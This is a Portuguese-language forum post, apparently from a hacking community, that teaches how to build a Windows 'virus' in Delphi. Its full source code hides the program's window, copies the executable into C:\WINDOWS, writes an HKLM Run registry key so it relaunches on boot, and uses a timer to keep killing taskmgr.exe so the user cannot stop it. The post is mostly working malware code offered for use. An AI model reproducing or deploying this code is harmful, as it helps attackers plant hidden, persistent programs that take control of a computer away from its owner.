Ir para conteúdo
Faça parte da equipe! (2024) ×
Conheça nossa Beta Zone! Novas áreas a caminho! ×
  • Quem está por aqui   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.

Criando Virus Que Reinicia O windows e trava CTRL+ALt+DEl


Garugon
 Compartilhar

Posts Recomendados

Existe muitas maneiras de criar um virus em delphi, a maioria dos trojans famosos que circulão na internet foram feitos em delphi.(Alguns So)

Eu vou mostrar como fazer um virus reninciar junto com o windows e travar o Ctrl + Alt + Del.

 

Vamos la, Primeiro abra um projeto e coloque na uses "Registry,"

 

Agora em baixo de "{$R *.dfm}" COLOQUE isso:

 

 

procedure RunOnStartup(sProgTitle,sCmdLine: string; bRunOnce: boolean );

var

sKey : string;

reg : TRegIniFile;

begin

if( bRunOnce )then

begin

sKey := 'Once'

end

else

begin

sKey := '';

end;

reg := TRegIniFile.Create( '' );

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.WriteString('Software\Microsoft' + '\Windows\CurrentVersion\Run'+ sKey + #0, sProgTitle, sCmdLine );

reg.Free;

end;

 

 

 

Agora no FormCreate coloque isso:

 

 

procedure TForm1.FormCreate(Sender: TObject);

begin

Application.ShowMainForm := False;

CopyFile(PChar(Application.ExeName),'C:\WINDOWS\virus.exe',True);

RunOnStartup('virus','C:\WINDOWS\virus.exe',true);

end;

 

 

 

Agora vamos fazer a parte de travar a listagem de processos, vou dar o coder todo basta voce fazer sua Parte:

 

 

unit Unit1;

interface

 

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, TLHelp32, PsAPI, ExtCtrls;

 

type

TForm1 = class(TForm)

Timer1: TTimer;

procedure Timer1Timer(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

 

var

Form1: TForm1;

 

implementation

 

{$R *.dfm}

 

function TerminarProcesso(sFile: String): Boolean;

var

verSystem: TOSVersionInfo;

hdlSnap,hdlProcess: THandle;

bPath,bLoop: Bool;

peEntry: TProcessEntry32;

arrPid: Array [0..1023] of DWORD;

iC: DWord;

k,iCount: Integer;

arrModul: Array [0..299] of Char;

hdlModul: HMODULE;

begin

Result := False;

if ExtractFileName(sFile)=sFile then

bPath:=false

else

bPath:=true;

verSystem.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);

GetVersionEx(verSystem);

if verSystem.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS then

begin

hdlSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

peEntry.dwSize:=Sizeof(peEntry);

bLoop:=Process32First(hdlSnap,peEntry);

while integer(bLoop)<>0 do

begin

if bPath then

begin

if CompareText(peEntry.szExeFile,sFile) = 0 then

begin

TerminateProcess(OpenProcess(PROCESS_TERMINATE,false,peEntry.th32ProcessID), 0);

Result := True;

end;

end

else

begin

if CompareText(ExtractFileName(peEntry.szExeFile),sFile) = 0 then

begin

TerminateProcess(OpenProcess(PROCESS_TERMINATE,false,peEntry.th32ProcessID), 0);

Result := True;

end;

end;

bLoop := Process32Next(hdlSnap,peEntry);

end;

CloseHandle(hdlSnap);

end

else

if verSystem.dwPlatformId=VER_PLATFORM_WIN32_NT then

begin

EnumProcesses(@arrPid,SizeOf(arrPid),iC);

iCount := iC div SizeOf(DWORD);

for k := 0 to Pred(iCount) do

begin

hdlProcess:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,arrPid [k]);

if (hdlProcess<>0) then

begin

EnumProcessModules(hdlProcess,@hdlModul,SizeOf(hdlModul),iC);

GetModuleFilenameEx(hdlProcess,hdlModul,arrModul,SizeOf(arrModul));

if bPath then

begin

if CompareText(arrModul,sFile) = 0 then

begin

TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);

Result := True;

end;

end

else

begin

if CompareText(ExtractFileName(arrModul),sFile) = 0 then

begin

TerminateProcess(OpenProcess(PROCESS_TERMINATE or PROCESS_QUERY_INFORMATION,False,arrPid [k]), 0);

Result := True;

end;

end;

CloseHandle(hdlProcess);

end;

end;

end;

end;

 

 

procedure TForm1.Timer1Timer(Sender: TObject);

begin

TerminarProcesso('taskmgr.exe');

end;

 

procedure TForm1.FormCreate(Sender: TObject);

begin

application.ShowMainForm := false;

end;

 

end.

 

Creditos:Eu uueheueeu xD

Link para o comentário
Compartilhar em outros sites

Este tópico está impedido de receber novos posts.
 Compartilhar

×
×
  • Criar Novo...

Informação Importante

Nós fazemos uso de cookies no seu dispositivo para ajudar a tornar este site melhor. Você pode ajustar suas configurações de cookies , caso contrário, vamos supor que você está bem para continuar.